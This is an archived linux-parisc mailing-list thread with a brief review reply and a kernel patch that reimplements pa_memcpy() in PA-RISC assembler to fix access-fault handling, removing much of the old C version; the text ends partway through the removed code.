Original-X-From: linux-parisc-owner@vger.kernel.org Sat Mar 25 16:40:57 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1crnoH-0003Bf-5E
	for glpp-linux-parisc@m.gmane.org; Sat, 25 Mar 2017 16:40:57 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751274AbdCYPlE convert rfc822-to-8bit (ORCPT
        <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 25 Mar 2017 11:41:04 -0400
Original-Received: from simcoe207srvr.owm.bell.net ([184.150.200.207]:48215 "EHLO
        torfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1751263AbdCYPlD (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 25 Mar 2017 11:41:03 -0400
Original-Received: from bell.net torfep01 184.150.200.158 by torfep01.bell.net
          with ESMTP
          id <20170325154101.FPWM15349.torfep01.bell.net@torspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sat, 25 Mar 2017 11:41:01 -0400
Original-Received: from [192.168.2.10] (really [69.158.172.43]) by torspm01.bell.net
          with ESMTP
          id <20170325154101.GZES4115.torspm01.bell.net@[192.168.2.10]>;
          Sat, 25 Mar 2017 11:41:01 -0400
In-Reply-To: <20170325105915.GA15188@p100.box>
X-Mailer: Apple Mail (2.1085)
X-Cloudmark-Analysis: v=2.2 cv=TOiqcxta c=1 sm=0 tr=0 a=MCnG2Shyl1iix8vyRwff9w==:17 a=kj9zAlcOel0A:10 a=6Iz7jQTuP9IA:10 a=FBHGMhGWAAAA:8 a=PIAA4J8w5YcB56gpTVwA:9 a=CjuIK1q_8ugA:10 a=OcSEIuaXZr0A:10 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27359
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27359>

On 2017-03-25, at 6:59 AM, Helge Deller wrote:

> +		/*
> +		 * Fix up get_user() and put_user().
> +		 * ASM_EXCEPTIONTABLE_ENTRY_EFAULT() sets bit 1 to indicate

Small nit - the bit set is bit 31 in .word.  Maybe "sets the least-significant bit in the relative address
of the fixup routine".

Excellent simplification.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Fix access fault handling in pa_memcpy()
Date: Mon, 27 Mar 2017 17:47:02 +0200
Lines: 796
Approved: news@gmane.org
Message-ID: <20170327154702.GA11377@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1490629734 7507 195.159.176.226 (27 Mar 2017 15:48:54 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 27 Mar 2017 15:48:54 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: Al Viro <viro@ZenIV.linux.org.uk>
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 27 17:48:48 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1csWsp-0000MK-Ml
	for glpp-linux-parisc@m.gmane.org; Mon, 27 Mar 2017 17:48:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751063AbdC0Psc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 27 Mar 2017 11:48:32 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:57120 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752796AbdC0PsS (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 27 Mar 2017 11:48:18 -0400
Original-Received: from p100.box ([193.159.30.136]) by mail.gmx.com (mrgmx102
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0MKt5A-1csWrJ1KqW-0001HT; Mon, 27
 Mar 2017 17:47:05 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:KhqfxIcWvQrvosDxPRGY7rUiPfLqW8QXBUo11Gls7BTMwVuoNsy
 b7ORjo0vSHoh/iqM5mtDlv4p+dEtEgREnV1sWwfKyUZX2CsJGRZ+QbopqOX09hzaG9GwuyK
 ubTRM/AFfroiuaDHccJNs+KFVFjTOvsxTH+BWTOUml8kQO55tQ62uv+gY43KWTaSNTk0pdZ
 OpNC0ZHYDqnmo7xaOEUhQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:GtOj3tScOCE=:9nD6b/wDy9limyg+v7aSIZ
 43ld6VP1hTIy7yxT89vjN9D2yKBovD7i/DeTwO+25ayQ0DKuVKVXT2iAEfhwtqOYsGlmL0XfB
 VVcu6m7y6Z2En44NzYXWKbYm7/owy8zHPFv/GdMD1vZmB6X9cEGDClOSw7uKdZPjW5w2Wdxb3
 Vl55GGqXtqrByMNSSPcJxox+579B2N283lRkVpJRKCidQIG0qyrOKyNL4T42ZCTEnOi9jtg3r
 SbsY74nDW8mGDe83UyjHDZUlCgRCH4LWuS/UCEj15ymCDnqzZfDExEbJA2RWfvwNHQSnACv9J
 r3AAFSMp0D7JElNzTDYrnpqb/hw/2oZXHwuT8c6ezWfeF2AYLec6FD1eMMzgByBbUu8S+bTxZ
 SXkoLUJUClpg0RY/Pu45Lb9wrh/HhxrC+FN8tUonq1LCGLDb0jvtvAk8Vs2rzAWCuaG111nGe
 ys1spv/FllzxTT/ufmuvMW6y0lbnVsG4YQMD0OlZL+SfQqhUaauS/BBkgnZ/PIhPaAS3w2vHP
 ciQAtG1eOkSdj7ULY8x2nSn6iYvQh1aqiSVtUhO80qYTb5AIeS0LxRC5Wb7GWfBGtZRZC4mT4
 83u5JIT43cmmPjSvwttSi59sYx6hvrUp9IiAipG5+OaqmIT08FOoQ+GMJ07cenCaLFoPxYjEX
 VTsgV8GttJIXazrmBd1OA0ekaY8901x0qAF46/fL4LBIp5c465sU4BX/3vAChC+wpHu55tt8u
 PVuAsZs+XF3hdRefgAw6rHRyoiNXYNvTcERUQ9ZhphOLeZ9Sd380Q5es1hc=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27360
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27360>

pa_memcpy() is the major memcpy implementation in the parisc kernel which is
used to do any kind of userspace/kernel memory copies.

Al Viro noticed various bugs in the implementation of pa_mempcy(), most notably
that in case of faults it may report back to have copied more bytes than it
actually did.

Fixing those bugs is quite hard in the C-implementation, because the compiler
is messing around with the registers and we are not guaranteed that specific
variables are always in the same processor registers. This makes proper fault
handling complicated.

This patch implements pa_memcpy() in assembler. That way we have correct fault
handling and adding a 64-bit copy routine was quite easy.

Runtime tested with 32- and 64bit kernels.

Reported-by: Al Viro <viro@ZenIV.linux.org.uk>
Signed-off-by: Helge Deller <deller@gmx.de>
Cc: John David Anglin <dave.anglin@bell.net>


diff --git a/arch/parisc/lib/lusercopy.S b/arch/parisc/lib/lusercopy.S
index 56845de..8bcff05 100644
--- a/arch/parisc/lib/lusercopy.S
+++ b/arch/parisc/lib/lusercopy.S
@@ -5,6 +5,7 @@
  *    Copyright (C) 2000 Richard Hirst <rhirst with parisc-linux.org>
  *    Copyright (C) 2001 Matthieu Delahaye <delahaym at esiee.fr>
  *    Copyright (C) 2003 Randolph Chung <tausq with parisc-linux.org>
+ *    Copyright (C) 2017 Helge Deller <deller@gmx.de>
  *
  *
  *    This program is free software; you can redistribute it and/or modify
@@ -132,4 +133,284 @@ ENDPROC_CFI(lstrnlen_user)
 
 	.procend
 
+
+
+	/*
+	 * unsigned long pa_memcpy(void *dstp, const void *srcp,
+	 *				unsigned long len)
+	 *
+	 * Inputs:
+	 * - sr1 contains space of source region
+	 * - sr2 contains space of destination region
+	 *
+	 * Returns number of bytes not transferred.
+	 * If bytes were not copied, this means either a read- or write fault
+	 * happened.
+	 */
+
+	dst = arg0
+	src = arg1
+	len = arg2
+	t1  = r19
+	t2  = r20
+	t3  = r21
+	t4  = r22
+	srcspc = sr1
+	dstspc = sr2
+
+	t0 = r1
+	a1 = t1
+	a2 = t2
+	a3 = t3
+	a0 = t4
+
+	save_src = ret0
+	save_dst = ret1
+	save_len = arg3
+
+ENTRY_CFI(pa_memcpy)
+	.proc
+	.callinfo NO_CALLS
+	.entry
+
+	/* short copy with less than 16bytes? */
+	cmpib,>>=,n 15,len,byte_loop
+
+	/* same alignment? */
+	xor	src,dst,t0
+	extru	t0,31,2,t1
+	cmpib,<>,n  0,t1,unaligned_copy
+
+#ifdef CONFIG_64BIT
+	/* only do 64bit copies if we can get aligned. */
+	extru	t0,31,3,t1
+	cmpib,<>,n  0,t1,align_loop32
+
+	/* align until we are 64bit-word-aligned */
+align_loop64:
+	extru	dst,31,3,t1
+	cmpib,=,n	0,t1,copy_loop_16
+20:	ldb,ma	1(srcspc,src),t1
+21:	stb,ma	t1,1(dstspc,dst)
+	b	align_loop64
+	ldo	-1(len),len
+
+	ASM_EXCEPTIONTABLE_ENTRY(20b,copy_done)
+	ASM_EXCEPTIONTABLE_ENTRY(21b,copy_done)
+
+	ldi	31,t0
+copy_loop_16:
+	cmpb,COND(>>=),n t0,len,word_loop
+
+10:	ldd	0(srcspc,src),t1
+11:	ldd	8(srcspc,src),t2
+12:	std	t1,0(dstspc,dst)
+13:	std	t2,8(dstspc,dst)
+	ldo	16(src),src
+	ldo	16(dst),dst
+	ldo	-16(len),len
+14:	ldd	0(srcspc,src),t3
+15:	ldd	8(srcspc,src),t4
+16:	std	t3,0(dstspc,dst)
+17:	std	t4,8(dstspc,dst)
+
+	ASM_EXCEPTIONTABLE_ENTRY(10b,byte_loop_run)
+	ASM_EXCEPTIONTABLE_ENTRY(11b,byte_loop_run)
+	ASM_EXCEPTIONTABLE_ENTRY(12b,byte_loop_run)
+	ASM_EXCEPTIONTABLE_ENTRY(13b,byte_loop_run)
+	ASM_EXCEPTIONTABLE_ENTRY(14b,byte_loop_run)
+	ASM_EXCEPTIONTABLE_ENTRY(15b,byte_loop_run)
+	ASM_EXCEPTIONTABLE_ENTRY(16b,byte_loop_run)
+	ASM_EXCEPTIONTABLE_ENTRY(17b,byte_loop_run)
+
+	ldo	16(src),src
+	ldo	16(dst),dst
+	b	copy_loop_16
+	ldo	-16(len),len
+
+word_loop:
+	cmpib,COND(>>=),n 3,len,byte_loop
+20:	ldw,ma	4(srcspc,src),t1
+21:	stw,ma	t1,4(dstspc,dst)
+	b	word_loop
+	ldo	-4(len),len
+
+	ASM_EXCEPTIONTABLE_ENTRY(20b,byte_loop_run)
+	ASM_EXCEPTIONTABLE_ENTRY(21b,byte_loop_run)
+
+#endif /* CONFIG_64BIT */
+
+	/* align until we are 32bit-word-aligned */
+align_loop32:
+	extru	dst,31,2,t1
+	cmpib,=,n	0,t1,copy_loop_4
+20:	ldb,ma	1(srcspc,src),t1
+21:	stb,ma	t1,1(dstspc,dst)
+	b	align_loop32
+	ldo	-1(len),len
+
+	ASM_EXCEPTIONTABLE_ENTRY(20b,copy_done)
+	ASM_EXCEPTIONTABLE_ENTRY(21b,copy_done)
+
+
+copy_loop_4:
+	cmpib,COND(>>=),n 15,len,byte_loop
+
+10:	ldw	0(srcspc,src),t1
+11:	ldw	4(srcspc,src),t2
+12:	ldw	8(srcspc,src),t3
+13:	ldw	12(srcspc,src),t4
+14:	stw	t1,0(dstspc,dst)
+15:	stw	t2,4(dstspc,dst)
+16:	stw	t3,8(dstspc,dst)
+17:	stw	t4,12(dstspc,dst)
+
+	ASM_EXCEPTIONTABLE_ENTRY(10b,byte_loop_run)
+	ASM_EXCEPTIONTABLE_ENTRY(11b,byte_loop_run)
+	ASM_EXCEPTIONTABLE_ENTRY(12b,byte_loop_run)
+	ASM_EXCEPTIONTABLE_ENTRY(13b,byte_loop_run)
+	ASM_EXCEPTIONTABLE_ENTRY(14b,byte_loop_run)
+	ASM_EXCEPTIONTABLE_ENTRY(15b,byte_loop_run)
+	ASM_EXCEPTIONTABLE_ENTRY(16b,byte_loop_run)
+	ASM_EXCEPTIONTABLE_ENTRY(17b,byte_loop_run)
+
+	ldo	16(src),src
+	ldo	16(dst),dst
+	b	copy_loop_4
+	ldo	-16(len),len
+	
+byte_loop:
+	cmpclr,COND(<>) len,%r0,%r0
+	b,n	copy_done
+byte_loop_run:
+20:	ldb,ma	1(srcspc,src),t1
+21:	stb,ma	t1,1(dstspc,dst)
+	b	byte_loop
+	ldo	-1(len),len
+
+	ASM_EXCEPTIONTABLE_ENTRY(20b,copy_done)
+	ASM_EXCEPTIONTABLE_ENTRY(21b,copy_done)
+
+copy_done:
+	bv	%r0(%r2)
+	copy	len,ret0
+
+
+	/* src and dst are not aligned the same way. */
+	/* need to go the hard way */
+unaligned_copy:
+	/* align until dst is 32bit-word-aligned */
+	extru	dst,31,2,t1
+	cmpib,COND(=),n	0,t1,copy_dstaligned
+20:	ldb,ma	1(srcspc,src),t1
+21:	stb,ma	t1,1(dstspc,dst)
+	b	unaligned_copy
+	ldo	-1(len),len
+
+	ASM_EXCEPTIONTABLE_ENTRY(20b,copy_done)
+	ASM_EXCEPTIONTABLE_ENTRY(21b,copy_done)
+
+copy_dstaligned:
+
+	/* store src, dst and len in safe place */
+	copy	src,save_src
+        copy	dst,save_dst
+	copy	len,save_len
+
+	/* len now needs give number of words to copy */
+	SHRREG	len,2,len
+
+	/*
+	 * Copy from a not-aligned src to an aligned dst using shifts.
+	 * Handles 4 words per loop.
+	 * This code is derived from glibc.
+	 */
+
+	depw,z src,28,2,t0
+	subi 32,t0,t0
+	mtsar t0
+	extru len,31,2,t0
+	cmpib,= 2,t0,.Lcase2
+	/* Make src aligned by rounding it down.  */
+	depi 0,31,2,src
+
+	cmpiclr,<> 3,t0,%r0
+	b,n .Lcase3
+	cmpiclr,<> 1,t0,%r0
+	b,n .Lcase1
+.Lcase0:
+	cmpb,= %r0,len,Lcda_finish
+	nop
+
+1:	ldw,ma 4(srcspc,src), a3
+	ASM_EXCEPTIONTABLE_ENTRY(1b,Lcda_finish)
+1:	ldw,ma 4(srcspc,src), a0
+	ASM_EXCEPTIONTABLE_ENTRY(1b,Lcda_finish)
+	b,n .Ldo3
+.Lcase1:
+1:	ldw,ma 4(srcspc,src), a2
+	ASM_EXCEPTIONTABLE_ENTRY(1b,Lcda_finish)
+1:	ldw,ma 4(srcspc,src), a3
+	ASM_EXCEPTIONTABLE_ENTRY(1b,Lcda_finish)
+	ldo -1(len),len
+	cmpb,=,n %r0,len,.Ldo0
+.Ldo4:
+1:	ldw,ma 4(srcspc,src), a0
+	ASM_EXCEPTIONTABLE_ENTRY(1b,Lcda_finish)
+	shrpw a2, a3, %sar, t0
+1:	stw,ma t0, 4(dstspc,dst)
+	ASM_EXCEPTIONTABLE_ENTRY(1b,Lcda_finish)
+.Ldo3:
+1:	ldw,ma 4(srcspc,src), a1
+	ASM_EXCEPTIONTABLE_ENTRY(1b,Lcda_finish)
+	shrpw a3, a0, %sar, t0
+1:	stw,ma t0, 4(dstspc,dst)
+	ASM_EXCEPTIONTABLE_ENTRY(1b,Lcda_finish)
+.Ldo2:
+1:	ldw,ma 4(srcspc,src), a2
+	ASM_EXCEPTIONTABLE_ENTRY(1b,Lcda_finish)
+	shrpw a0, a1, %sar, t0
+1:	stw,ma t0, 4(dstspc,dst)
+	ASM_EXCEPTIONTABLE_ENTRY(1b,Lcda_finish)
+.Ldo1:
+1:	ldw,ma 4(srcspc,src), a3
+	ASM_EXCEPTIONTABLE_ENTRY(1b,Lcda_finish)
+	shrpw a1, a2, %sar, t0
+1:	stw,ma t0, 4(dstspc,dst)
+	ASM_EXCEPTIONTABLE_ENTRY(1b,Lcda_finish)
+	ldo -4(len),len
+	cmpb,<> %r0,len,.Ldo4
+	nop
+.Ldo0:
+	shrpw a2, a3, %sar, t0
+1:	stw,ma t0, 4(dstspc,dst)
+	ASM_EXCEPTIONTABLE_ENTRY(1b,Lcda_finish)
+
+Lcda_finish:
+
+	/* calculate new src, dst and len and jump to byte-copy */
+	sub	dst,save_dst,t0
+	add	save_src,t0,src
+	b	byte_loop
+	sub	save_len,t0,len
+
+.Lcase3:
+1:	ldw,ma 4(srcspc,src), a0
+	ASM_EXCEPTIONTABLE_ENTRY(1b,Lcda_finish)
+1:	ldw,ma 4(srcspc,src), a1
+	ASM_EXCEPTIONTABLE_ENTRY(1b,Lcda_finish)
+	b .Ldo2
+	ldo 1(len),len
+.Lcase2:
+1:	ldw,ma 4(srcspc,src), a1
+	ASM_EXCEPTIONTABLE_ENTRY(1b,Lcda_finish)
+1:	ldw,ma 4(srcspc,src), a2
+	ASM_EXCEPTIONTABLE_ENTRY(1b,Lcda_finish)
+	b .Ldo1
+	ldo 2(len),len
+
+	.exit
+ENDPROC_CFI(pa_memcpy)
+	.procend
+
 	.end
diff --git a/arch/parisc/lib/memcpy.c b/arch/parisc/lib/memcpy.c
index f82ff10..de996e5 100644
--- a/arch/parisc/lib/memcpy.c
+++ b/arch/parisc/lib/memcpy.c
@@ -2,7 +2,7 @@
  *    Optimized memory copy routines.
  *
  *    Copyright (C) 2004 Randolph Chung <tausq@debian.org>
- *    Copyright (C) 2013 Helge Deller <deller@gmx.de>
+ *    Copyright (C) 2013-2017 Helge Deller <deller@gmx.de>
  *
  *    This program is free software; you can redistribute it and/or modify
  *    it under the terms of the GNU General Public License as published by
@@ -21,474 +21,21 @@
  *    Portions derived from the GNU C Library
  *    Copyright (C) 1991, 1997, 2003 Free Software Foundation, Inc.
  *
- * Several strategies are tried to try to get the best performance for various
- * conditions. In the optimal case, we copy 64-bytes in an unrolled loop using 
- * fp regs. This is followed by loops that copy 32- or 16-bytes at a time using
- * general registers.  Unaligned copies are handled either by aligning the 
- * destination and then using shift-and-write method, or in a few cases by 
- * falling back to a byte-at-a-time copy.
- *
- * I chose to implement this in C because it is easier to maintain and debug,
- * and in my experiments it appears that the C code generated by gcc (3.3/3.4
- * at the time of writing) is fairly optimal. Unfortunately some of the 
- * semantics of the copy routine (exception handling) is difficult to express
- * in C, so we have to play some tricks to get it to work.
- *
- * All the loads and stores are done via explicit asm() code in order to use
- * the right space registers. 
- * 
- * Testing with various alignments and buffer sizes shows that this code is 
- * often >10x faster than a simple byte-at-a-time copy, even for strangely
- * aligned operands. It is interesting to note that the glibc version
- * of memcpy (written in C) is actually quite fast already. This routine is 
- * able to beat it by 30-40% for aligned copies because of the loop unrolling, 
- * but in some cases the glibc version is still slightly faster. This lends 
- * more credibility that gcc can generate very good code as long as we are 
- * careful.
- *
- * TODO:
- * - cache prefetching needs more experimentation to get optimal settings
- * - try not to use the post-increment address modifiers; they create additional
- *   interlocks
- * - replace byte-copy loops with stybs sequences
  */
 
-#ifdef __KERNEL__
 #include <linux/module.h>
 #include <linux/compiler.h>
 #include <linux/uaccess.h>
-#define s_space "%%sr1"
-#define d_space "%%sr2"
-#else
-#include "memcpy.h"
-#define s_space "%%sr0"
-#define d_space "%%sr0"
-#define pa_memcpy new2_copy
-#endif
 
 DECLARE_PER_CPU(struct exception_data, exception_data);
 
-#define preserve_branch(label)	do {					\
-	volatile int dummy = 0;						\
-	/* The following branch is never taken, it's just here to  */	\
-	/* prevent gcc from optimizing away our exception code. */ 	\
-	if (unlikely(dummy != dummy))					\
-		goto label;						\
-} while (0)
-
 #define get_user_space() (segment_eq(get_fs(), KERNEL_DS) ? 0 : mfsp(3))
 #define get_kernel_space() (0)
 
-#define MERGE(w0, sh_1, w1, sh_2)  ({					\
-	unsigned int _r;						\
-	asm volatile (							\
-	"mtsar %3\n"							\
-	"shrpw %1, %2, %%sar, %0\n"					\
-	: "=r"(_r)							\
-	: "r"(w0), "r"(w1), "r"(sh_2)					\
-	);								\
-	_r;								\
-})
-#define THRESHOLD	16
-
-#ifdef DEBUG_MEMCPY
-#define DPRINTF(fmt, args...) do { printk(KERN_DEBUG "%s:%d:%s ", __FILE__, __LINE__, __func__ ); printk(KERN_DEBUG fmt, ##args ); } while (0)
-#else
-#define DPRINTF(fmt, args...)
-#endif
-
-#define def_load_ai_insn(_insn,_sz,_tt,_s,_a,_t,_e)	\
-	__asm__ __volatile__ (				\
-	"1:\t" #_insn ",ma " #_sz "(" _s ",%1), %0\n\t"	\
-	ASM_EXCEPTIONTABLE_ENTRY(1b,_e)			\
-	: _tt(_t), "+r"(_a)				\
-	: 						\
-	: "r8")
-
-#define def_store_ai_insn(_insn,_sz,_tt,_s,_a,_t,_e) 	\
-	__asm__ __volatile__ (				\
-	"1:\t" #_insn ",ma %1, " #_sz "(" _s ",%0)\n\t"	\
-	ASM_EXCEPTIONTABLE_ENTRY(1b,_e)			\
-	: "+r"(_a) 					\
-	: _tt(_t)					\
-	: "r8")
-
-#define ldbma(_s, _a, _t, _e) def_load_ai_insn(ldbs,1,"=r",_s,_a,_t,_e)
-#define stbma(_s, _t, _a, _e) def_store_ai_insn(stbs,1,"r",_s,_a,_t,_e)
-#define ldwma(_s, _a, _t, _e) def_load_ai_insn(ldw,4,"=r",_s,_a,_t,_e)
-#define stwma(_s, _t, _a, _e) def_store_ai_insn(stw,4,"r",_s,_a,_t,_e)
-#define flddma(_s, _a, _t, _e) def_load_ai_insn(fldd,8,"=f",_s,_a,_t,_e)
-#define fstdma(_s, _t, _a, _e) def_store_ai_insn(fstd,8,"f",_s,_a,_t,_e)
-
-#define def_load_insn(_insn,_tt,_s,_o,_a,_t,_e) 	\
-	__asm__ __volatile__ (				\
-	"1:\t" #_insn " " #_o "(" _s ",%1), %0\n\t"	\
-	ASM_EXCEPTIONTABLE_ENTRY(1b,_e)			\
-	: _tt(_t) 					\
-	: "r"(_a)					\
-	: "r8")
-
-#define def_store_insn(_insn,_tt,_s,_t,_o,_a,_e) 	\
-	__asm__ __volatile__ (				\
-	"1:\t" #_insn " %0, " #_o "(" _s ",%1)\n\t" 	\
-	ASM_EXCEPTIONTABLE_ENTRY(1b,_e)			\
-	: 						\
-	: _tt(_t), "r"(_a)				\
-	: "r8")
-
-#define ldw(_s,_o,_a,_t,_e)	def_load_insn(ldw,"=r",_s,_o,_a,_t,_e)
-#define stw(_s,_t,_o,_a,_e) 	def_store_insn(stw,"r",_s,_t,_o,_a,_e)
-
-#ifdef  CONFIG_PREFETCH
-static inline void prefetch_src(const void *addr)
-{
-	__asm__("ldw 0(" s_space ",%0), %%r0" : : "r" (addr));
-}
-
-static inline void prefetch_dst(const void *addr)
-{
-	__asm__("ldd 0(" d_space ",%0), %%r0" : : "r" (addr));
-}
-#else
-#define prefetch_src(addr) do { } while(0)
-#define prefetch_dst(addr) do { } while(0)
-#endif
-
-#define PA_MEMCPY_OK		0
-#define PA_MEMCPY_LOAD_ERROR	1
-#define PA_MEMCPY_STORE_ERROR	2
-
-/* Copy from a not-aligned src to an aligned dst, using shifts. Handles 4 words
- * per loop.  This code is derived from glibc. 
- */
-static noinline unsigned long copy_dstaligned(unsigned long dst,
-					unsigned long src, unsigned long len)
-{
-	/* gcc complains that a2 and a3 may be uninitialized, but actually
-	 * they cannot be.  Initialize a2/a3 to shut gcc up.
-	 */
-	register unsigned int a0, a1, a2 = 0, a3 = 0;
-	int sh_1, sh_2;
-
-	/* prefetch_src((const void *)src); */
-
-	/* Calculate how to shift a word read at the memory operation
-	   aligned srcp to make it aligned for copy.  */
-	sh_1 = 8 * (src % sizeof(unsigned int));
-	sh_2 = 8 * sizeof(unsigned int) - sh_1;
-
-	/* Make src aligned by rounding it down.  */
-	src &= -sizeof(unsigned int);
-
-	switch (len % 4)
-	{
-		case 2:
-			/* a1 = ((unsigned int *) src)[0];
-			   a2 = ((unsigned int *) src)[1]; */
-			ldw(s_space, 0, src, a1, cda_ldw_exc);
-			ldw(s_space, 4, src, a2, cda_ldw_exc);
-			src -= 1 * sizeof(unsigned int);
-			dst -= 3 * sizeof(unsigned int);
-			len += 2;
-			goto do1;
-		case 3:
-			/* a0 = ((unsigned int *) src)[0];
-			   a1 = ((unsigned int *) src)[1]; */
-			ldw(s_space, 0, src, a0, cda_ldw_exc);
-			ldw(s_space, 4, src, a1, cda_ldw_exc);
-			src -= 0 * sizeof(unsigned int);
-			dst -= 2 * sizeof(unsigned int);
-			len += 1;
-			goto do2;
-		case 0:
-			if (len == 0)
-				return PA_MEMCPY_OK;
-			/* a3 = ((unsigned int *) src)[0];
-			   a0 = ((unsigned int *) src)[1]; */
-			ldw(s_space, 0, src, a3, cda_ldw_exc);
-			ldw(s_space, 4, src, a0, cda_ldw_exc);
-			src -=-1 * sizeof(unsigned int);
-			dst -= 1 * sizeof(unsigned int);
-			len += 0;
-			goto do3;
-		case 1:
-			/* a2 = ((unsigned int *) src)[0];
-			   a3 = ((unsigned int *) src)[1]; */
-			ldw(s_space, 0, src, a2, cda_ldw_exc);
-			ldw(s_space, 4, src, a3, cda_ldw_exc);
-			src -=-2 * sizeof(unsigned int);
-			dst -= 0 * sizeof(unsigned int);
-			len -= 1;
-			if (len == 0)
-				goto do0;
-			goto do4;			/* No-op.  */
-	}
-
-	do
-	{
-		/* prefetch_src((const void *)(src + 4 * sizeof(unsigned int))); */
-do4:
-		/* a0 = ((unsigned int *) src)[0]; */
-		ldw(s_space, 0, src, a0, cda_ldw_exc);
-		/* ((unsigned int *) dst)[0] = MERGE (a2, sh_1, a3, sh_2); */
-		stw(d_space, MERGE (a2, sh_1, a3, sh_2), 0, dst, cda_stw_exc);
-do3:
-		/* a1 = ((unsigned int *) src)[1]; */
-		ldw(s_space, 4, src, a1, cda_ldw_exc);
-		/* ((unsigned int *) dst)[1] = MERGE (a3, sh_1, a0, sh_2); */
-		stw(d_space, MERGE (a3, sh_1, a0, sh_2), 4, dst, cda_stw_exc);
-do2:
-		/* a2 = ((unsigned int *) src)[2]; */
-		ldw(s_space, 8, src, a2, cda_ldw_exc);
-		/* ((unsigned int *) dst)[2] = MERGE (a0, sh_1, a1, sh_2); */
-		stw(d_space, MERGE (a0, sh_1, a1, sh_2), 8, dst, cda_stw_exc);
-do1:
-		/* a3 = ((unsigned int *) src)[3]; */
-		ldw(s_space, 12, src, a3, cda_ldw_exc);
-		/* ((unsigned int *) dst)[3] = MERGE (a1, sh_1, a2, sh_2); */
-		stw(d_space, MERGE (a1, sh_1, a2, sh_2), 12, dst, cda_stw_exc);
-
-		src += 4 * sizeof(unsigned int);
-		dst += 4 * sizeof(unsigned int);
-		len -= 4;
-	}
-	while (len != 0);
-
-do0:
-	/* ((unsigned int *) dst)[0] = MERGE (a2, sh_1, a3, sh_2); */
-	stw(d_space, MERGE (a2, sh_1, a3, sh_2), 0, dst, cda_stw_exc);
-
-	preserve_branch(handle_load_error);
-	preserve_branch(handle_store_error);
-
-	return PA_MEMCPY_OK;
-
-handle_load_error:
-	__asm__ __volatile__ ("cda_ldw_exc:\n");
-	return PA_MEMCPY_LOAD_ERROR;
-
-handle_store_error:
-	__asm__ __volatile__ ("cda_stw_exc:\n");
-	return PA_MEMCPY_STORE_ERROR;
-}
-
-
-/* Returns PA_MEMCPY_OK, PA_MEMCPY_LOAD_ERROR or PA_MEMCPY_STORE_ERROR.
- * In case of an access fault the faulty address can be read from the per_cpu
- * exception data struct. */
-static noinline unsigned long pa_memcpy_internal(void *dstp, const void *srcp,
-					unsigned long len)
-{
-	register unsigned long src, dst, t1, t2, t3;
-	register unsigned char *pcs, *pcd;
-	register unsigned int *pws, *pwd;
-	register double *pds, *pdd;
-	unsigned long ret;
-
-	src = (unsigned long)srcp;
-	dst = (unsigned long)dstp;
-	pcs = (unsigned char *)srcp;
-	pcd = (unsigned char *)dstp;
-
-	/* prefetch_src((const void *)srcp); */
-
-	if (len < THRESHOLD)
-		goto byte_copy;
-
-	/* Check alignment */
-	t1 = (src ^ dst);
-	if (unlikely(t1 & (sizeof(double)-1)))
-		goto unaligned_copy;
-
-	/* src and dst have same alignment. */
-
-	/* Copy bytes till we are double-aligned. */
-	t2 = src & (sizeof(double) - 1);
-	if (unlikely(t2 != 0)) {
-		t2 = sizeof(double) - t2;
-		while (t2 && len) {
-			/* *pcd++ = *pcs++; */
-			ldbma(s_space, pcs, t3, pmc_load_exc);
-			len--;
-			stbma(d_space, t3, pcd, pmc_store_exc);
-			t2--;
-		}
-	}
-
-	pds = (double *)pcs;
-	pdd = (double *)pcd;
-
-#if 0
-	/* Copy 8 doubles at a time */
-	while (len >= 8*sizeof(double)) {
-		register double r1, r2, r3, r4, r5, r6, r7, r8;
-		/* prefetch_src((char *)pds + L1_CACHE_BYTES); */
